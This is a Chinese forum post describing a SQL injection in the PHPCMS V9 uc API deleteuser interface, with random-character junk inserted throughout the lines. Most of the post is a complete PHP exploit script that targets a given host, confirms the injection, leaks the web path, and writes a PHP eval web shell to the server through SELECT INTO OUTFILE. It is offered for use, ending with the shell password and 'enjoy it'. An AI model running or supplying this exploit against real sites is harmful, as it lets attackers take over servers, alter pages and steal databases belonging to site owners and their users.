找回密码
 立即注册
查看: 2530|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
5 m. d$ I1 u; G- z- b6 ?, Z4 T( b! q6 ]2 H7 I
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
8 F& E# _5 @0 g  E+ k. u+ U2 R3 N
* n0 W0 c5 m& A% M1 S$ F) H漏洞分析:# }0 r& ^7 H2 a# ^
1.未启用ucenter服务的情况下uc_key为空
. F+ ?  V9 t% i: a8 ldefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
7 Z; W2 W2 z  h; q% c5 |2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。. ^) b7 F; Q; M
    public function deleteuser($get,$post) {
0 Q* {  [, o. r) \$ A+ o        pc_base::load_app_func('global', 'admin');
8 L# F, a4 }% |1 r        pc_base::load_app_class('messagequeue', 'admin' , 0);/ e1 J/ q' E; l/ {/ ]& D6 t- g
        $ids = new_stripslashes($get['ids']);2 {+ X4 m( K/ q- L
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
- [- C3 ?' v: j6 s0 J; JSQL语句为: o3 d; p# M2 D
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)1 b, T: g" h/ _/ D8 X: @
0 a) U- H4 M' }4 @
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
6 S2 {' |  K% z2 w- Y9 W<?php
, P4 Z1 v7 _4 h4 E' s3 f* Fprint_r(') E/ o! w0 s& g
---------------------------------------------------------------------------# ?+ y+ y" N1 W
PHPcms (v9 or Old Version) uc api sql injection 0day' _$ l2 N! m  l1 ~' H
by rayh4c#80sec.com
) I& g0 E* n5 ]5 H  x/ A---------------------------------------------------------------------------5 D1 r- |# l* B+ h8 u, i
');4 G8 q3 c. x8 N

9 \, Q; k* Y% r( ~, P4 T9 Uif ($argc<3) {
# V% z  I! T$ D- U9 m5 S    print_r('2 i6 F7 J) ~: @& E  c, a
---------------------------------------------------------------------------
" k) b4 R. Y! [8 g. `/ A0 _/ TUsage: php '.$argv[0].' host path OPTIONS4 E/ N! z+ K* }- h" ^5 u+ w1 C
host:      target server (ip/hostname)" S. W5 M6 w/ o1 P6 Y! P" |
path:      path to phpcms  l3 V) V% \( f9 \' _
Options:/ S( [- H$ r. X; h9 z+ ]3 M$ k2 n
-p[port]:    specify a port other than 80
3 W: c- O$ P$ M, ?0 P# } -P[ip:port]: specify a proxy
! N6 K7 d* r6 F0 _% ^0 ?Example:
6 L* {# b# N5 R) H1 aphp '.$argv[0].' localhost /- T5 f# n* {+ {. o3 n
php '.$argv[0].' localhost /phpcms/ -p812 C& h( L+ t& M
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:801 ]5 i% F: b/ i2 r
---------------------------------------------------------------------------% Y( c  p. I: J2 F
');
( Q, v2 N1 |% r/ [    die;. }; t* Z- R' E' R1 }8 a2 r
}1 k; M0 U" \! n. ?/ Y% v
4 B, ]1 V4 c; B
error_reporting(7);. }& }  V' n* m6 k9 a+ i$ a7 n
ini_set("max_execution_time",0);$ X2 m8 j) x9 @
ini_set("default_socket_timeout",5);& h9 {8 \% f1 w
8 ?+ @: J; F* v9 {* B
function quick_dump($string)
0 _; h8 F& A0 e/ }. \5 p: ?, l% `{1 P9 W; {, p; m: _% r' G0 A
  $result='';$exa='';$cont=0;9 H; h, F' [2 P$ N- n- [
  for ($i=0; $i<=strlen($string)-1; $i++)
3 N, \, X& g" Y- R4 l9 y6 J) y  {5 q+ R2 @3 u! g' j. L: q1 _
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
, k9 P+ G4 [; L$ F' A1 H   {$result.="  .";}% K$ T" t% m: K2 [8 ]
   else
  S: O3 B* _4 B( E   {$result.="  ".$string[$i];}( w  J) A( z: L+ v# C) [8 }, j9 H
   if (strlen(dechex(ord($string[$i])))==2)
2 c( W  N7 J" o8 y3 o4 s   {$exa.=" ".dechex(ord($string[$i]));}2 o8 d! p" E- C' y* x! M
   else
0 K+ ?! q5 v& Q2 q   {$exa.=" 0".dechex(ord($string[$i]));}- x1 r% d4 h% ]. r
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}- K% s& u: e) i, k( K
  }4 }+ z$ j4 K" @# \8 M
return $exa."\r\n".$result;' F$ e  S; Z  [4 Y/ s8 N. D0 p
}8 d& ]/ n  H2 p! G  z" A8 w
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';& j4 I+ Z( m0 c4 A" K$ r# `
8 b) L1 n. e3 {! R- g* C/ b
function send($packet)
  |6 x. g6 n) F{
/ L- G3 ]4 S9 y  A7 X4 u& N  global $proxy, $host, $port, $html, $proxy_regex;" B& I; i) w  D4 F
  if ($proxy=='') {5 L) F& }* |+ `
    $ock=fsockopen(gethostbyname($host),$port);
# O& d: c7 _! S/ [" F    if (!$ock) {
5 j0 f  D! z: L# m8 I6 T      echo 'No response from '.$host.':'.$port; die;
, v: y! m7 G: d- S' w5 j    }
, w- d" g$ G! O! k  }
& y! o) I! t3 g$ B; E* z  else {; d+ {& c7 s! P4 D
        $c = preg_match($proxy_regex,$proxy);
$ A! w6 N% c, l$ m# X" ~6 T    if (!$c) {& w& \( i. R' R6 N0 M8 V2 x* y
      echo 'Not a valid proxy...';die;
" D# a5 \" @8 v' C8 Y    }1 {( \3 G6 ?) ~/ b; f. T7 j
    $parts=explode(':',$proxy);. K. q/ r1 q+ k% B: I" f
    $parts[1]=(int)$parts[1];3 v; i4 A" x% D, G+ h3 M: Y5 h
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";( Y9 F+ n$ \* r, }, T0 Y* I
    $ock=fsockopen($parts[0],$parts[1]);+ n; f. m5 R9 S9 Y6 V. `) q2 b
    if (!$ock) {, Q: K0 m6 A& R+ @
      echo 'No response from proxy...';die;8 i5 w* v/ U2 z8 o0 k5 A8 M' Z* H4 ]
        }+ s! `- G, `) k0 ?
  }
9 w: F; K4 r0 {' ]/ `6 s# @$ B  fputs($ock,$packet);- ?" D& Q8 p, \% @" M
  if ($proxy=='') {( ], [3 ?6 Q4 @9 Y& p  [$ }* s
    $html='';
( W/ I, {% @$ ]- p    while (!feof($ock)) {" i- @6 \/ ~4 K2 u& U
      $html.=fgets($ock);' Z4 H0 L0 W) F3 |8 G! H' j2 l
    }
7 [" ~) _* U" L/ F6 T  }
7 Z6 V5 e: ^5 V2 o# o9 E  else {; O  Q9 G% H* H6 ?2 ]
    $html='';
2 p" B! f2 g" G( T8 ^- ]5 _3 i1 |" ~    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {8 G7 ^% m/ T7 U, Q( ^, `- U& u
      $html.=fread($ock,1);, W8 a: s) B/ e  ~9 M4 @$ \: A
    }
2 s) J  J, u& H, o0 M  }5 R1 {/ V# t- C, \8 @% E9 c7 y
  fclose($ock);
! `* H5 a8 ~6 b# a; o; E4 y}
% z# F9 ^& ^, Q) L1 \& L- Q3 b$ T5 C% Y. C; N; i6 K, q
$host=$argv[1];2 H( O# Q, L) \
$path=$argv[2];
4 U+ z2 v# }3 B# }+ ]$port=80;
& _) x' {5 S  V$ q. X; I: L$proxy="";, w- A# ?% v/ c4 s
for ($i=3; $i<$argc; $i++){& D& k' a7 M# Z/ V
$temp=$argv[$i][0].$argv[$i][1];1 l2 n& Q  S, U9 Y7 Z% e$ u
if ($temp=="-p")
* _, O$ o3 T, r$ y& d{
7 T  f& \- f' B/ r) Z0 w- E  $port=(int)str_replace("-p","",$argv[$i]);! \0 g, b& x+ [7 i: M
}! g$ x# B' ?0 |$ }- j7 v8 d
if ($temp=="-P")/ c% c. Q" z: m8 Z: n
{
- w& q! _9 J$ Z5 j+ q  $proxy=str_replace("-P","",$argv[$i]);
3 K7 G7 m8 B( U/ A# [1 d6 v( C}  `) c/ \+ P2 ^6 ~# \/ k! I4 R
}: g, O* c2 B! y7 o( g

/ n# K- ^* T4 [- c" Kif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
$ r4 V) q% U4 t/ r+ T- B( L+ qif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
- o1 x7 M, @. J1 R# d4 ]8 ^+ j0 i' [' b! g; N7 Y
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
. g8 K8 [) |% t. z; y. |4 V4 U; _$ G1 ^" b
    $ckey_length = 4;
: C2 \# A% r& l  \4 L5 G4 _, B  ^9 J+ s; J
; O. @% _- p8 U& k5 d    $key = md5($key ? $key : '');' l2 I5 ]; {9 x( N8 I  v/ ?
    $keya = md5(substr($key, 0, 16));
. x7 q# n9 r/ ?2 P, o1 r' t    $keyb = md5(substr($key, 16, 16));. Q) x0 f& v& q0 `
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
* T+ r7 l9 y. y; ]7 c
  f' g0 q# `# m% Z4 M+ [4 U, D    $cryptkey = $keya.md5($keya.$keyc);7 ^& h6 u+ U5 ~/ X3 W- y& t
    $key_length = strlen($cryptkey);6 a8 T8 z8 }( j; V: P% j! n5 _

! Y0 A1 b4 v( x' [    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
6 \" {/ b. d" d9 z' x# X    $string_length = strlen($string);6 P( a: ^; ^5 |; o4 H  t) e
( c  `7 O$ v3 H. M8 \0 U
    $result = '';
- v% O; t! m8 l0 O0 z    $box = range(0, 255);
, F1 @- M& P1 z8 F: f' c/ }5 R! M: F- {9 G* D; W$ R
    $rndkey = array();8 R$ S3 u) l6 F7 b
    for($i = 0; $i <= 255; $i++) {& t4 e8 O. E  q6 {9 L$ v
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
$ q2 v" ?# q, [( h& a( X3 X0 r. u$ r    }2 ]0 Z( F0 F) U4 }0 e

) f6 F9 P  T! @9 t/ r( y  `    for($j = $i = 0; $i < 256; $i++) {: r; |9 ^% x/ l* i( t! P, L
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;; a" @% ]' {+ Z4 E; \" w% ?: K! W( O9 G
        $tmp = $box[$i];5 A/ `& t, Q1 R) }
        $box[$i] = $box[$j];
+ s( {! q% L4 @% }% Y& x' W        $box[$j] = $tmp;9 F3 A2 E. c& A
    }
" {# N& z) C( y$ Z
4 I' o& _( ^  ]0 T" L* A    for($a = $j = $i = 0; $i < $string_length; $i++) {% Q& j1 @3 J! O* z6 O4 A
        $a = ($a + 1) % 256;8 i% L- i% h" P! ~( J7 Y- ~
        $j = ($j + $box[$a]) % 256;
2 q: ~) \5 n$ x  r9 a3 Z; S8 \        $tmp = $box[$a];
9 \6 P  J) P2 z6 v# N        $box[$a] = $box[$j];4 i% j$ s# h) c
        $box[$j] = $tmp;
# w& l. {/ I' {        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));( D( P3 s7 j$ H: l7 W
    }) n& U( K& k0 ?* |2 R6 e
( }* {" B: |& t; V, T/ A+ z
    if($operation == 'DECODE') {2 x$ u8 e' Q, l0 K- n) Y; Y: j0 v' t
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
, O. `9 N6 R0 p& l/ V5 P7 U            return substr($result, 26);; {/ B+ o/ v3 Z, j4 t
        } else {
: `/ V, \$ t) u  }% \3 v& W5 z( _            return '';+ H# b! b/ [; k- e- q4 m+ K
        }
8 k: B% G; p8 q8 N4 b' t    } else {
- P: I  D: _' L( [        return $keyc.str_replace('=', '', base64_encode($result));
/ G: A$ }1 G2 d$ V4 G    }  t. P( C! R( b5 j

% u5 o4 F2 c$ @}: K0 G& j9 M! f/ i2 e7 i
5 R/ e1 `2 D5 |3 K
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
" f& T7 Z) d3 k% K$ c$SQL = urlencode(authcode($SQL, "ENCODE", ""));
8 v0 b4 l7 L' B% w7 M6 E- U" qecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
  J2 N* i7 c/ b) V' J5 ~$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
6 Q) l/ p. ^. R5 T! d2 J$packet.="User-Agent: Mozilla/5.0\r\n";
. h# ^8 M1 G6 a. z) Y" y+ Y$packet.="Host: ".$host."\r\n";
! ^6 O' H' R7 d# T8 E3 ~$packet.="Connection: Close\r\n\r\n";: w3 Z& J7 X+ t+ W" [9 B8 i: B; v( s
send($packet);
, n6 p6 y! a5 a# K5 ]4 G( p0 B% |if(strpos($html,"MySQL Errno") > 0){6 ]3 c5 W' W6 r: f3 B! M6 u
echo "[2] 发现存在SQL注入漏洞"."\n";+ p  T: f& x# z) Z5 g& S
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";% N4 d, _7 p3 j! Z& `: @
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
6 J& g# o$ N* H9 F$packet.="User-Agent: Mozilla/5.0\r\n";- k! h* L; s: ^7 U
$packet.="Host: ".$host."\r\n";' I& Z9 v4 {2 z2 {1 @  T7 H
$packet.="Connection: Close\r\n\r\n";& A! Y, m: [0 p+ T0 k9 N1 D" c
send($packet);2 w1 R5 o/ X, |/ W! n
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);% W. e2 _; Z& g: ?. b6 s
//print_r($matches);
9 o3 k. C9 c1 x9 x( `$ ~if(!empty($matches)){
  g5 y0 e! C$ H, J; |# R: l& n( U/ Z0 \' Wecho "[4] 得到web路径 " . $matches[0]."\n";. Y2 B+ q3 Z$ k- Y, l9 Y. N
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";1 j/ @0 }) G" s, E, i+ r! `
$SQL = "time=999999999999999999999999&ids=1)";/ \+ {3 H8 V1 [
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
( J  @) {# Q0 }9 b4 Y4 M$SQL.="&action=deleteuser";
2 v9 |9 [( P4 X! \: E$SQL = urlencode(authcode($SQL, "ENCODE", ""));
. i& W. A6 J* S; @: u$ \echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";* V; U* k1 e/ y$ ]; ~' {
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";8 p! l4 a, p8 R& ~7 d- D8 J. j
$packet.="User-Agent: Mozilla/5.0\r\n";6 m7 [: X8 E2 c
$packet.="Host: ".$host."\r\n";
+ t& c9 _$ i( O! S5 g7 B$packet.="Connection: Close\r\n\r\n";) t3 O& Y. C: |# ?. b
send($packet);, L: f/ H3 R$ Q, U8 R
if(strpos($html,"Access denied") > 0){
- n8 C+ ^6 y2 F+ v. J; G3 Hecho "[-] MYSQL权限过低 禁止写入文件 ";
& Z5 _$ x% W+ i' B( o  \' P% `die;
0 Q* i) b& N3 I5 T}: ]7 P9 p& Z; ~1 K: b$ z
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
' Z- {; N/ o5 c$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";4 G! m' V) o. f* u2 _
$packet.="User-Agent: Mozilla/5.0\r\n";2 Z) `% R2 _4 \- Z
$packet.="Host: ".$host."\r\n";6 O2 T% V) `" b+ V
$packet.="Connection: Close\r\n\r\n";
/ y' z% V: W4 Ysend($packet);
* B& n9 o: p0 t' L2 i' Nif(strpos($html,"<title>phpinfo()</title>") > 0){
2 y2 v) h2 V/ J) N) R4 ?! Jecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
/ I: d' Q7 ]  f7 v9 F! t}
) a+ m8 c" [1 X* ?  N1 `8 o}else{. o  f# ^3 j9 @" v' Z! G$ H7 N( I' H; [; Z
echo "[-]未取到web路径 ";
9 q- {* v  F2 H5 t' K+ ~% v}
0 P6 h( V, ^' B. p, P}else{, w" C8 a; a- e$ |: ^$ F
echo "[*]不存在SQL注入漏洞"."\n";5 @. ~+ O" `! o/ l1 m" J. ~$ \6 R
}1 v4 W" `7 D3 f) l; e! L( x( c# Q% U  j

. |* V; F# Z& W' Z?>
$ y; u/ Y2 W: ]$ x' c: m/ J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表